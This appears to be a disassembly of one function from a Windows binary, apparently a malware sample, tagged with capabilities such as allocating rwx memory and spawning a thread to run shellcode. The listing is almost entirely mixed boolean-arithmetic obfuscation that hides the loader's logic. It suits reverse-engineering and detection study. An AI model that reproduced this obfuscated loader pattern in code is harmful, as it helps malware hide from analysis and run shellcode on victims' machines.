Function at 0x1000cfa0
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x60
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x10049900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, eax
mov ecx, edx
or ecx, 0x4200860
mov eax, edx
xor eax, 0x5b867402
and eax, edx
mov edi, edx
and ecx, 0x56a25862
mov edx, esi
mov ebx, esi
mov dword [ebp - 0x20], esi
and edx, 0x9042400
or edx, ecx
mov esi, eax
not esi
mov ecx, edi
mov dword [ebp - 0x1c], edi
or ecx, esi
and esi, 0x56a25862
and eax, 0xa95da79d
or eax, esi
xor eax, edx
mov edx, ebx
not ecx
or ecx, eax
not eax
and eax, 0xa4798bfd
and ecx, 0x5b867402
or ecx, eax
and edx, 0x4ba836c0
mov esi, edi
and esi, 0xb457c93f
or esi, edx
mov edx, esi
xor edx, 0xb457c93f
xor esi, 0x40202400
and esi, 0xe4732d05
mov eax, edx
and eax, 0x1b8cd2fa
or eax, esi
xor eax, 0x1b8cd2fa
or eax, edx
mov esi, ecx
xor esi, 0x27e8ada7
mov edi, esi
and esi, ecx
not ecx
and edi, ecx
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x49b677b8
and edi, 0xb6498847
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x49b677b8
and esi, 0xb6498847
or esi, ebx
xor esi, edi
not edx
or edx, esi
or ecx, eax
xor eax, 0xd8175258
mov esi, eax
xor esi, eax
not esi
and esi, edx
xor esi, eax
mov eax, esi
not eax
mov edx, eax
and edx, 0x7b2d01df
and esi, 0x84d2fe20
or esi, edx
xor esi, ecx
xor esi, 0x84d2fe20
or eax, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xb58c9318
and ecx, eax
and eax, 0x4a736ce7
or eax, edx
mov edx, eax
xor edx, 0x42532487
xor eax, 0xb58c9318
mov esi, eax
and esi, 0x8ca84968
and edx, 0x7357b697
or edx, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x8ca84968
and ecx, 0x7357b697
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
not esi
xor eax, 0x6a845870
mov ecx, eax
and ecx, 0x6a845870
and esi, 0x957ba78f
or esi, ecx
mov edx, dword [ebp - 0x20]
mov ecx, edx
not esi
or esi, eax
mov edi, esi
and ecx, 0xa2a64c8c
mov esi, dword [ebp - 0x1c]
mov ebx, esi
and ebx, 0x5d59b373
or ebx, ecx
mov eax, ebx
xor eax, 0x48a163
xor ebx, 0xa2a64c8c
mov ecx, ebx
and ecx, 0x7f315a14
and eax, 0x80cea5eb
or eax, ecx
mov ecx, edx
and ecx, esi
mov edx, ecx
not edx
or ebx, edx
and edx, 0x7f315a14
and ecx, 0x80cea5eb
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov dword [ebp - 0x34], ebx
mov ecx, ebx
or ecx, 0x957ba78f
mov eax, ecx
not eax
and eax, 0xac62184
and ecx, 0xf539de7b
or ecx, eax
mov eax, edi
not eax
mov dword [ebp - 0x24], eax
and eax, 0xe6e7b10d
mov ebx, edi
and ebx, 0x19184ef2
or ebx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xac62184
mov ecx, eax
mov dword [ebp - 0x2c], eax
xor edx, 0xf539de7b
mov dword [ebp - 0x30], edx
mov eax, edx
and eax, 0xe6e7b10d
and ecx, 0x19184ef2
or ecx, eax
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x38], eax
mov ecx, edi
mov dword [ebp - 0x18], edi
mov eax, edi
or eax, 0x19184ef2
mov esi, eax
not esi
and eax, 0x35e40d15
xor ecx, 0xa6839101
and ecx, esi
and esi, 0xc203b008
or esi, eax
mov dword [ebp - 0x28], esi
not ebx
or ebx, dword [ebp - 0x24]
mov dword [ebp - 0x4c], ebx
mov eax, ebx
xor eax, 0xb78bddf1
and eax, ebx
mov edi, eax
not edi
mov edx, edi
and edx, 0xf7ed575b
and eax, 0x812a8a4
or eax, edx
mov edx, ebx
not edx
mov dword [ebp - 0x14], edx
or ebx, 0x4874220e
or edi, ebx
and ebx, 0xf7ed575b
mov esi, dword [ebp - 0x14]
and esi, 0x288a0
or esi, ebx
xor esi, eax
not edi
or edi, esi
mov esi, dword [ebp - 0x28]
mov edx, esi
xor edx, 0xca1bf2ea
xor esi, 0x7d902f1b
and esi, edx
mov eax, esi
not eax
mov ebx, eax
and ebx, 0x2645dd50
and esi, 0xc8a2220d
or esi, ebx
mov ebx, ecx
not ebx
or eax, ebx
and ebx, 0x2655dd52
and ecx, 0xc0a2200d
or ecx, ebx
xor ecx, esi
not eax
or eax, ecx
xor eax, edi
mov esi, dword [ebp - 0x14]
mov ecx, esi
and ecx, 0xeb7a0747
mov edi, dword [ebp - 0x4c]
and edi, 0x1485f8b8
or edi, ecx
mov ecx, dword [ebp - 0x28]
xor ecx, 0x35e40d15
or esi, ecx
and ecx, 0xe2620105
and edx, 0x1485f8b8
or edx, ecx
xor edx, edi
not esi
or esi, edx
not esi
or esi, eax
mov dword [ebp - 0x14], esi
mov ebx, dword [ebp - 0x38]
mov eax, ebx
not eax
mov ecx, ebx
xor ecx, 0x1953df58
mov esi, ecx
and esi, eax
mov edx, esi
not edx
mov edi, edx
and edi, 0xbc4b905f
and esi, 0x43b46fa0
or esi, edi
and ecx, ebx
mov edi, ecx
not edi
or edx, edi
and edi, 0xbc4b905f
and ecx, 0x43b46fa0
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov ecx, ebx
and ecx, 0x4fcc4b93
and eax, 0xb033b46c
or eax, ecx
mov esi, dword [ebp - 0x34]
or esi, 0x9d7befff
mov ecx, esi
not ecx
xor edx, esi
or ebx, ecx
and ecx, 0x46c40101
and esi, 0xb033b46c
or esi, ecx
xor esi, eax
not ebx
or ebx, esi
mov eax, edx
xor eax, 0x62800085
xor edx, 0x1953df58
mov ecx, edx
and ecx, 0x9d6f2662
and eax, 0x6290d99d
or eax, ecx
xor eax, ebx
or edx, ebx
xor eax, 0x6290d99d
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x4cf89892
and edx, 0xb307676d
or edx, eax
mov eax, dword [ebp - 0x14]
xor edx, eax
or ecx, eax
xor edx, 0x4cf89892
and edx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0x6e3afdf2
and edx, 0x91c5020d
or edx, esi
xor edx, ecx
or eax, ecx
xor edx, 0x91c5020d
not eax
or eax, edx
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x24]
and edx, 0x794ace18
mov eax, dword [ebp - 0x18]
mov ecx, eax
and ecx, 0x86b531e7
or ecx, edx
mov edx, dword [ebp - 0x30]
and edx, 0x46be16bc
mov ebx, dword [ebp - 0x2c]
mov edi, ebx
and edi, 0xb941e943
or edi, edx
mov edx, ecx
xor edx, 0x86b531e7
mov dword [ebp - 0x24], edx
and edx, 0x902e2391
and eax, 0x6fd1dc6e
or eax, edx
mov dword [ebp - 0x18], eax
mov eax, edi
xor eax, 0xb941e943
mov edx, edi
xor edx, 0xd690352d
and edx, eax
and ebx, 0x6fd1dc6e
or ebx, edx
mov esi, ebx
xor esi, ebx
not esi
and esi, dword [ebp - 0x18]
xor esi, ebx
xor ecx, 0x794ace18
mov edx, ecx
and edx, 0x9583e178
mov ebx, dword [ebp - 0x24]
and ebx, 0x6a7c1e87
or ebx, edx
xor edi, 0x46be16bc
or ecx, edi
and edi, 0x9583e178
and eax, 0x6a7c1e87
or eax, edi
xor eax, ebx
not ecx
or ecx, eax
not ecx
or ecx, esi
mov edx, ecx
xor edx, 0xcbb9d1cd
and edx, ecx
mov esi, ecx
or ecx, 0x34462e32
not esi
mov eax, ecx
and eax, 0xdbe6bdf4
and esi, 0x194009
or esi, eax
mov eax, edx
not eax
or ecx, eax
and eax, 0xdbe6bdf4
and edx, 0x2419420b
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov esi, ecx
xor esi, 0x4040620
xor ecx, 0x48311181
and ecx, 0x78733993
and esi, 0x878cc66c
or esi, ecx
mov edx, esi
xor edx, 0x8504c604
xor esi, 0x70430800
and esi, 0x72cb0868
and edx, 0x8d34f797
or edx, esi
mov esi, edx
xor esi, 0x72cb0868
xor edx, 0x8d34f797
mov eax, edx
or eax, 0x95b1c040
and eax, 0x9db1e048
mov edi, esi
and edi, 0x420c1b26
or edi, eax
mov eax, esi
or eax, 0x8002008
and eax, 0x9db1e048
mov ecx, edx
and ecx, 0x20420491
or ecx, eax
xor ecx, edi
mov eax, edx
and eax, 0x55a98418
and esi, 0xaa567be7
or esi, eax
mov eax, dword [ebp - 0x14]
xor ecx, eax
xor esi, eax
or edx, eax
xor esi, 0xaa567be7
not edx
or edx, esi
mov eax, ecx
xor eax, 0x480c0020
xor ecx, 0xb5f3c4d1
mov esi, ecx
and esi, 0x12d13b5f
and eax, 0xed2ec4a0
or eax, esi
xor eax, edx
xor eax, 0xed2ec4a0
or ecx, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xa4e4cf20
and eax, ecx
mov esi, edx
and esi, 0x5b026e68
mov edi, ecx
and ecx, 0xa4fd9197
or ecx, esi
or edi, 0x5b1b30df
mov esi, edi
and esi, 0xa7cc4347
xor ecx, 0x50f5a233
or ecx, edx
and edx, 0x208c20
or edx, esi
mov esi, eax
not esi
or edi, esi
and esi, 0xa7cc4347
and eax, 0x5833bcb8
or eax, esi
xor eax, edx
not edi
or edi, eax
and edi, 0xf40833a4
mov edx, edi
xor edx, 0x50083084
xor edi, 0xaff7cf7b
mov esi, edx
xor esi, ecx
and esi, edx
xor edx, edi
and edx, ecx
xor edx, edi
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xa354caf3
and esi, 0x54083104
or esi, ecx
mov ecx, edx
not ecx
or eax, ecx
and ecx, 0xa354caf3
and edx, 0x5cab350c
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x10900968
mov esi, eax
and esi, 0x4011403
or esi, edx
mov edx, esi
xor edx, 0x4000402
xor esi, 0x72e0229c
and esi, 0x72e1329d
and edx, 0x4100d62
or edx, esi
or ecx, 0x10811009
and ecx, 0x72e1329d
and eax, 0x890ec000
or eax, ecx
xor eax, edx
mov edx, eax
xor edx, 0x8a1d76be
xor eax, 0x75e28941
mov ecx, eax
and ecx, 0x4b102e80
mov esi, edx
and edx, 0xb4efd17f
or edx, ecx
and esi, 0x319a0c3e
not edx
or edx, eax
and eax, 0xce65f3c1
or eax, esi
mov ecx, eax
xor ecx, 0xce65f3c1
xor eax, 0x309a0838
and eax, 0x3cdbda78
mov esi, ecx
and esi, 0xc3242587
or esi, eax
xor esi, 0x88340b07
and ecx, 0xb4efd17f
or ecx, esi
mov esi, ecx
not esi
mov eax, esi
xor eax, edx
and eax, esi
xor edx, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x542872b0
and eax, 0xabd78d4f
or eax, ecx
mov ecx, edx
not ecx
or esi, ecx
and ecx, 0x542872b0
and edx, 0xabd78d4f
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov edx, esi
not edx
mov eax, esi
xor eax, 0x7e2c7142
and eax, esi
or esi, 0x81d38ebd
mov ecx, esi
mov ebx, esi
and ecx, 0x1fb23066
and edx, 0x600c4100
or edx, ecx
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0x1fb23066
and eax, 0xe04dcf99
or eax, ecx
xor eax, edx
mov edi, dword [ebp - 0x20]
mov ecx, edi
and ecx, 0x2341bd27
mov esi, dword [ebp - 0x1c]
mov edx, esi
and esi, 0xdcbe42d8
or esi, ecx
xor esi, 0x2341bd27
or esi, edi
mov ecx, edi
not ebx
or ebx, eax
and edx, 0x46e70ea
and ecx, 0xfb918f15
or ecx, edx
mov edi, ecx
xor edi, 0x46e70ea
xor ecx, 0x10118300
mov eax, edi
xor eax, esi
and eax, edi
and ecx, 0x143bb3e8
and edi, 0xebc44c17
or edi, ecx
mov ecx, ebx
xor ecx, 0xcac3a03d
xor edi, esi
xor edi, 0xebc44c17
or edi, eax
xor ebx, 0x353c5fc2
mov eax, ecx
and eax, 0x41704910
mov edx, ebx
and edx, 0x8c8d9044
or edx, eax
mov dword [ebp - 0x14], edx
mov eax, edi
not eax
mov edx, eax
mov dword [ebp - 0x18], eax
mov esi, eax
and eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, ecx
mov ecx, ebx
and ecx, 0xcdfdd954
and eax, 0x320226ab
or eax, ecx
and edx, 0xfe004583
mov ecx, edi
and ecx, 0x1ffba7c
or ecx, edx
xor ecx, 0xcc026328
mov edx, edi
and edx, 0x320226ab
or edx, ecx
mov dword [ebp - 0x28], edx
mov ecx, ebx
xor ecx, edi
not eax
or eax, ebx
and ecx, ebx
mov dword [ebp - 0x20], ecx
and ebx, edi
mov dword [ebp - 0x24], ebx
and edi, 0x75e79c81
mov ecx, dword [ebp - 0x18]
and ecx, 0x8a18637e
or ecx, edi
xor ecx, 0xb81a45d5
and esi, 0xcdfdd954
or esi, ecx
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x14]
mov ecx, edx
xor ecx, 0x8c8d9044
or ecx, 0x320226ab
mov edi, ecx
not edi
and ecx, 0xf44d797a
xor edx, 0x5210810
and edx, edi
mov dword [ebp - 0x14], edx
and edi, 0x9b08004
or edi, ecx
mov ecx, eax
not ecx
and eax, 0xf901dad7
mov ebx, ecx
and ebx, 0x6fe2528
or ebx, eax
mov esi, ebx
xor esi, 0x6fe2528
mov eax, esi
and eax, 0x56514182
and ecx, 0xa9aebe7d
or ecx, eax
mov dword [ebp - 0x2c], ecx
mov eax, edi
xor eax, 0xbb28685
mov dword [ebp - 0x30], eax
mov ecx, edi
xor ecx, 0xa21c38f8
and ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x21db8618
and ecx, 0xce245946
or ecx, edx
mov edx, dword [ebp - 0x14]
not edx
or eax, edx
and edx, 0x31db8698
and dword [ebp - 0x14], 0xcc245944
add dword [ebp - 0x14], edx
mov edx, dword [ebp - 0x14]
xor edx, ecx
not eax
or eax, edx
xor eax, dword [ebp - 0x2c]
xor edi, 0xf44d797a
mov ecx, edi
and ecx, 0xcdf88800
mov edx, dword [ebp - 0x30]
and edx, 0x320753dd
or edx, ecx
xor ebx, 0xf901dad7
or edi, ebx
and ebx, 0xcdf8ac22
and esi, 0x320753dd
or esi, ebx
xor esi, edx
not edi
or edi, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xa58c4ee8
and eax, 0x5a73b117
or eax, edx
xor eax, edi
or ecx, edi
xor eax, 0x5a73b117
not ecx
or ecx, eax
mov esi, dword [ebp - 0x28]
mov eax, esi
not eax
mov edx, eax
mov edi, dword [ebp - 0x18]
xor edx, edi
and edx, eax
xor eax, esi
and eax, edi
xor eax, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0xd2950bbd
and edx, 0x2d6af442
or edx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0xd2950bbd
and eax, 0x2d6af442
or eax, edi
xor eax, edx
not esi
or esi, eax
mov eax, ecx
not eax
mov edx, esi
not edx
mov edi, edx
xor edi, eax
and edi, esi
and edx, 0x8a230bf8
and esi, 0x75dcf407
or esi, edx
xor esi, eax
xor esi, 0x75dcf407
and esi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xe840bb8c
and edi, 0x17bf4473
or edi, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0xe840bb8c
and esi, 0x17bf4473
or esi, ecx
xor esi, edi
not eax
or eax, esi
mov edi, dword [ebp - 0x24]
or edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0xca0df19f
and esi, 0x35f20e60
or esi, edx
mov edx, edi
not edx
or ecx, edx
and edx, 0xca0df19f
and edi, 0x35f20e60
or edi, edx
xor edi, esi
not ecx
or ecx, edi
mov edx, ecx
xor edx, 0x22e05a7
and edx, ecx
mov esi, ecx
not esi
or esi, edx
not edx
and edx, 0xfdd1fa58
and esi, 0x22e05a7
or esi, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x69814923
and esi, 0x967eb6dc
or esi, edx
xor esi, 0x69814923
xor ecx, esi
and ecx, esi
mov esi, eax
xor esi, 0x2385fda8
and esi, eax
mov edx, eax
not edx
mov eax, ecx
xor eax, 0x2385fda8
and eax, ecx
not ecx
mov edi, edx
and edi, 0x2385fda8
or esi, edi
or edx, ecx
and ecx, 0x2385fda8
or eax, ecx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x9e018044
mov edi, edx
and edi, 0x15e7718
or edi, eax
xor edi, 0x15e7718
mov esi, ecx
and esi, 0x60a008a3
or esi, edi
mov eax, esi
not eax
or eax, 0x278ba47b
mov edi, ecx
and edi, 0xd8745b84
and edx, 0x278ba47b
or edx, edi
xor ecx, edx
and ecx, edx
mov edx, ecx
not edx
mov edi, eax
xor edi, 0xb1f7f412
and edi, eax
mov ebx, ecx
xor ebx, 0x4e080bed
and ebx, edx
or edx, eax
not eax
xor esi, 0x48000b84
and esi, eax
and ecx, 0xb1f7f412
or ecx, ebx
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x20858d86
and edi, 0xdc705248
or edi, eax
mov eax, esi
not eax
or ebx, eax
and eax, 0x228d8da7
and esi, 0xd8705200
or esi, eax
xor esi, edi
mov eax, dword [0x10049904]
not ebx
or ebx, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, ebx
xor esi, ecx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xf57f273
and esi, 0xf0a80d8c
or esi, edi
mov edi, edx
not edi
or ecx, edx
and edx, 0xf57f273
and edi, 0xd0200984
or edi, edx
xor edi, esi
not ecx
or ecx, edi
mov edx, ecx
not edx
mov esi, edx
or esi, 0x20410482
mov edi, ecx
or edi, 0x285b48
and edi, 0x20695fca
and edx, 0xd900a015
or edx, edi
and esi, 0x20695fca
and ecx, 0x6960020
or ecx, esi
xor ecx, edx
mov edx, ecx
xor edx, 0xdeca00ec
xor ecx, 0x2135ff13
mov esi, ecx
and esi, edx
mov edi, edx
and edi, 0x6c7d8dff
and ecx, 0x93827200
or ecx, edi
mov edi, esi
not edi
or edx, edi
and edi, 0x6c7d8dff
and esi, 0x93827200
or esi, edi
xor esi, ecx
not edx
or edx, esi
mov esi, edx
not esi
mov ecx, edx
xor ecx, 0x91d38e0c
mov edi, ecx
and edi, esi
and ecx, edx
or ecx, edi
xor ecx, 0x91d38e0c
and edx, 0xe9f94c43
mov edi, esi
and edi, 0x1606b3bc
or edi, edx
xor edi, 0x1606b3bc
or edi, esi
not edi
or edi, ecx
cmp edi, 0xffffffff
sete byte [ebp - 0x51]
cmp eax, 0xa
setl byte [ebp - 0x52]
mov eax, 0x2f335af6
jmp 0x1000f5c0
mov ecx, dword [0x10049900]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
mov dword [ebp - 0x14], eax
and edx, 0x9ce005be
mov esi, ecx
mov dword [ebp - 0x18], ecx
and esi, 0x631ffa41
or esi, edx
mov edx, esi
xor edx, 0x631ffa41
xor esi, 0x80a00484
and esi, 0x83a6aec4
mov edi, edx
and edi, 0x7c59513b
or edi, esi
xor edi, 0xcd73a6ee
and edx, 0x4ed5082a
or edx, edi
mov esi, ecx
and esi, 0xb12af7d5
mov edi, eax
and edi, 0x4ed5082a
or edi, esi
mov ebx, edi
xor ebx, ecx
and ebx, edi
mov edi, ebx
not edi
or edi, edx
mov esi, edx
not edx
and esi, 0xac918bd8
and edx, 0x536e7427
or edx, esi
mov esi, ebx
xor esi, 0xa8018158
xor ebx, 0x126a1002
and ebx, 0x16fa1a82
and esi, 0xe905e57d
or esi, ebx
xor esi, edx
mov edx, esi
xor edx, 0x16b00080
xor esi, 0xe905e57d
mov ebx, esi
and ebx, 0xe04e3e23
and edx, 0x1fb1c1dc
or edx, ebx
xor edx, edi
xor edx, 0x1fb1c1dc
or esi, edi
not esi
or esi, edx
mov edx, esi
not edx
mov edi, esi
or edi, 0x210af615
and edi, 0x6fdefe3f
mov ebx, edx
and edx, 0x10000
or edx, edi
or ebx, 0x4ed4082a
and ebx, 0x6fdefe3f
and esi, 0x902001c0
or esi, ebx
xor esi, edx
mov ebx, esi
xor ebx, 0x90ae7786
mov edx, ebx
and edx, esi
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0xebbb1402
and edx, 0x1444ebfd
or edx, edi
mov edi, esi
not edi
and ebx, edi
mov eax, ebx
not eax
or ecx, eax
and eax, 0xebbb1402
and ebx, 0x1444ebfd
or ebx, eax
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
xor edx, 0xc40404
xor ecx, 0x273bc2a3
mov eax, ecx
and eax, 0xfa12397b
and edx, 0x5edc684
or edx, eax
or esi, 0x486a4ada
or ecx, esi
and esi, 0xfa12397b
and edi, 0x5858404
or edi, esi
xor edi, edx
not ecx
or ecx, edi
mov edi, ecx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x18]
and ecx, 0xa59cf382
mov eax, dword [ebp - 0x14]
and eax, 0x5a630c7d
or eax, ecx
mov edx, eax
xor edx, 0x5a630c7d
xor eax, 0xb002
and eax, 0x1821bc56
mov ecx, eax
mov eax, edx
and eax, 0xe7de43a9
or eax, ecx
xor eax, 0x504bf68c
and edx, 0x486a4ada
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xc0800a0
mov esi, edx
and esi, 0x61830011
or esi, ecx
mov ecx, esi
xor ecx, 0x40800001
xor esi, 0x258db4c
and esi, 0x235bdb5c
and ecx, 0x4c8000a1
or ecx, esi
mov esi, edi
not esi
or eax, 0x210b0010
and eax, 0x235bdb5c
and edx, 0x90242402
or edx, eax
xor edx, ecx
mov eax, edi
and eax, 0xb8bb2aee
mov ebx, esi
and ebx, 0x4744d511
or ebx, eax
mov eax, ebx
xor eax, 0x43404401
xor ebx, 0xb8bb2aee
mov edi, ebx
and edi, 0x941e9b52
and eax, 0x6be164ad
or eax, edi
mov edi, edx
xor edi, 0x9274ff4e
xor edx, 0x6d8b00b1
mov ecx, edi
and ecx, 0x941e9b52
mov dword [ebp - 0x14], ecx
mov ecx, edx
and ecx, 0x6be164ad
add ecx, dword [ebp - 0x14]
xor ecx, eax
or ebx, edi
not ebx
or ebx, ecx
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
and eax, 0x9966fcef
and esi, 0x66990310
or esi, eax
xor esi, edx
xor esi, 0x66990310
and esi, edi
and edx, 0x25d1f1aa
and edi, 0xda2e0e55
or edi, edx
xor edi, 0x25d1f1aa
or edi, ecx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xe7b7906
and esi, 0xf18486f9
or esi, eax
mov eax, ebx
not eax
xor esi, edi
xor esi, 0xf18486f9
or ecx, edi
not ecx
or ecx, esi
mov edx, ecx
not edx
and ecx, ebx
or ebx, edx
and edx, eax
or edx, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xd9187ed0
and edx, 0x26e7812f
or edx, eax
xor edx, ebx
xor edx, 0x26e7812f
or ecx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, ecx
mov edi, ecx
and edi, 0x4009
mov esi, edx
and esi, 0x6418a166
or esi, edi
mov ebx, eax
not ebx
mov edi, ecx
or edi, ebx
and ebx, 0x4009
and eax, 0x6418a166
or eax, ebx
xor eax, esi
not edi
or edi, eax
mov esi, edi
not esi
or esi, 0x91031080
and edi, 0x410e00b
and esi, 0xf10b11e4
or esi, edi
mov eax, esi
xor eax, 0xf10b11e4
xor esi, 0x2442e1a
and ecx, 0x6912401b
mov edi, edx
and edi, 0x96edbfe4
or edi, ecx
xor edi, 0xd0aa174
and edx, 0x6418e16f
or edx, edi
mov ecx, eax
xor ecx, edx
and ecx, eax
and esi, 0x73452e5a
and eax, 0x418c125
or eax, esi
xor eax, edx
xor eax, 0x8cbad1a5
or eax, ecx
mov edx, eax
xor edx, 0xd38d544a
mov ebx, eax
xor ebx, 0x2c72abb5
mov ecx, edx
and ecx, 0xb27157ac
mov esi, ebx
and esi, 0x4d8ea853
or esi, ecx
mov ecx, esi
xor ecx, 0x44008040
xor esi, 0x2001524
and esi, 0xb8e3d37
and ecx, 0xf471c2c8
or ecx, esi
mov esi, ecx
xor esi, 0x3803533
xor ecx, 0x50018088
and ecx, 0x580f888c
and esi, 0xa7f07773
or esi, ecx
mov dword [ebp - 0x14], esi
mov ecx, edx
or edx, 0x368ced3e
mov edi, edx
and edi, 0x92634ca9
mov esi, ebx
and esi, 0x49101240
or esi, edi
xor eax, 0x1afe468b
and eax, ecx
mov edi, eax
not edi
or edx, edi
and edi, 0x92634ca9
and eax, 0x6d9cb356
or eax, edi
xor eax, esi
not edx
or edx, eax
mov dword [ebp - 0x24], edx
and edx, ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x28], ebx
mov edx, ebx
and edx, 0xe0444621
and ecx, 0x1fbbb9de
or ecx, edx
xor ecx, 0x1fbbb9de
mov edx, ecx
xor edx, ebx
and edx, ecx
mov ebx, edx
not ebx
mov esi, ebx
and esi, 0xf9f54aea
mov eax, edx
and eax, 0x60ab515
or eax, esi
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov ecx, eax
xor ecx, 0x580f888c
mov edi, eax
xor eax, 0x5e053d99
and eax, ecx
mov esi, eax
not esi
mov dword [ebp - 0x14], esi
and dword [ebp - 0x14], 0x7942c919
and eax, 0x86bd36e6
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
xor edi, 0xa7f07773
mov dword [ebp - 0x1c], edi
mov edi, ecx
or edi, 0xf9f54aea
or esi, edi
and edi, 0x7942c919
mov eax, dword [ebp - 0x1c]
and eax, 0x6083404
or eax, edi
xor eax, dword [ebp - 0x14]
not esi
or esi, eax
xor esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
mov eax, edi
and eax, 0x36c0e518
and ecx, 0xc93f1ae7
or ecx, eax
or edi, edx
and edx, 0x36c0e518
and ebx, 0xc93f1ae7
or ebx, edx
xor ebx, ecx
not edi
or edi, ebx
not edi
or edi, esi
mov dword [ebp - 0x1c], edi
mov edx, edi
not edx
mov dword [ebp - 0x18], edx
mov eax, edx
and eax, 0x260c201a
mov ecx, edi
and ecx, 0x1080cd24
or ecx, eax
xor ecx, 0x1080cd24
mov eax, edi
xor eax, 0x368ced3e
and eax, edi
or eax, ecx
mov ecx, edx
and ecx, 0xe6d62209
mov edx, edi
and edx, 0x1929ddf6
or edx, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xafe364d9
and eax, 0x501c9b26
or eax, esi
mov esi, edx
xor esi, 0x10089926
xor edx, 0xa6c22009
and edx, 0xafe364d9
and esi, 0x501c9b26
or esi, edx
xor esi, eax
not esi
or esi, ecx
mov edx, dword [ebp - 0x24]
not edx
mov ecx, dword [ebp - 0x28]
and ecx, edx
mov eax, dword [ebp - 0x20]
or eax, ecx
xor edx, eax
and edx, eax
mov dword [ebp - 0x24], edx
mov edi, edx
not edi
mov eax, edi
and eax, 0x235e3b1
mov ecx, edx
and ecx, 0xfdca1c4e
or ecx, eax
mov eax, ecx
xor eax, 0xb88a1402
xor ecx, 0x3162b1
and ecx, 0x45716afd
and eax, 0xba8e9502
or eax, ecx
mov dword [ebp - 0x20], eax
mov edx, esi
mov ecx, esi
not ecx
mov dword [ebp - 0x34], ecx
mov ebx, ecx
or ebx, 0x122000a7
mov eax, esi
mov dword [ebp - 0x2c], esi
and eax, 0x40cc8000
and ebx, 0x173136b7
or ebx, eax
mov eax, ecx
and eax, 0xdb7cd645
mov ecx, esi
and ecx, 0x248329ba
or ecx, eax
xor ecx, 0x9ea16055
and edx, 0x45ddb610
or edx, ecx
mov eax, dword [ebp - 0x20]
mov esi, eax
xor esi, 0x45716afd
mov dword [ebp - 0x30], esi
xor eax, 0xba8e9502
mov dword [ebp - 0x20], eax
and eax, 0xd10944c2
and esi, 0x2ef6bb3d
or esi, eax
mov eax, edi
and eax, 0x9b36781f
mov ecx, dword [ebp - 0x24]
and ecx, 0x64c987e0
or ecx, eax
xor ecx, 0xdeebce0f
xor edi, ecx
and edi, ecx
mov dword [ebp - 0x24], edi
mov ecx, ebx
xor ecx, 0x1103210
mov edi, ebx
xor edi, 0xe8cec948
mov eax, edi
and eax, 0x54c5cca4
and ecx, 0x1183210
or ecx, eax
mov eax, edx
not eax
mov dword [ebp - 0x14], edx
and dword [ebp - 0x14], 0x63fa74a2
xor edx, 0x738240d5
and edx, eax
and eax, 0x9c058b5d
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
xor dword [ebp - 0x14], 0x9c058b5d
xor eax, 0xef87cb88
and eax, dword [ebp - 0x14]
or edx, eax
mov eax, ecx
xor eax, 0xab3a335b
mov dword [ebp - 0x38], eax
xor ecx, 0xd8b8738e
and ecx, eax
mov eax, ecx
not eax
mov dword [ebp - 0x28], eax
and dword [ebp - 0x28], 0x235046b1
and ecx, 0xd4adb90e
add ecx, dword [ebp - 0x28]
or edi, 0x8c7dbf2a
or eax, edi
and edi, 0x2b5046b1
and ebx, 0x40800000
or ebx, edi
xor ebx, ecx
not eax
or eax, ebx
xor eax, edx
